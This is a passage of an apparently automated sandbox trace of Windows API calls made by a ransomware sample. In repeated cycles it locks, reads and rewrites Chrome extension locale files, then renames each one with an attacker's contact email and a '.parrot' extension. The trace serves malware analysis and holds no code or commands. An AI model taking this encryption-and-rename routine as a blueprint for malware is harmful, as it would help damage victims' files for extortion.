dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22402b0 [0064.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0064.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.600] WriteFile (in: hFile=0x270, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.600] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.600] CloseHandle (hObject=0x270) returned 1 [0064.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22402b0 [0064.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0228 [0064.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.601] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31615d8 | out: hHeap=0x5b0000) returned 1 [0064.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0064.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22402b0 [0064.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95b8 [0064.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.603] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f3, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.603] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.603] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.604] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.604] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdb, lpOverlapped=0x0) returned 1 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.604] GetLastError () returned 0x0 [0064.604] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a39c8 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.605] WriteFile (in: hFile=0x270, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.605] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.605] CloseHandle (hObject=0x270) returned 1 [0064.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a39c8 [0064.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0228 [0064.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.606] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3161760 | out: hHeap=0x5b0000) returned 1 [0064.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0064.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0064.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95b8 [0064.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.609] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.610] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.610] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.610] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.610] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd7, lpOverlapped=0x0) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.611] GetLastError () returned 0x0 [0064.611] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22402b0 [0064.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0064.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.612] WriteFile (in: hFile=0x270, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.612] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.612] CloseHandle (hObject=0x270) returned 1 [0064.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22402b0 [0064.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0228 [0064.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22402b0 | out: hHeap=0x5b0000) returned 1 [0064.613] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3161760 | out: hHeap=0x5b0000) returned 1 [0064.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0064.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x22402b0 [0064.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95b8 [0064.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.616] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.616] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.616] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.617] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.617] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.617] GetLastError () returned 0x0 [0064.617] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0064.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a39c8 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0064.618] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.618] WriteFile (in: hFile=0x270, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0064.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.618] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.618] CloseHandle (hObject=0x270) returned 1 [0064.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6a39c8 [0064.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0228 [0064.619] HeapFree (in: 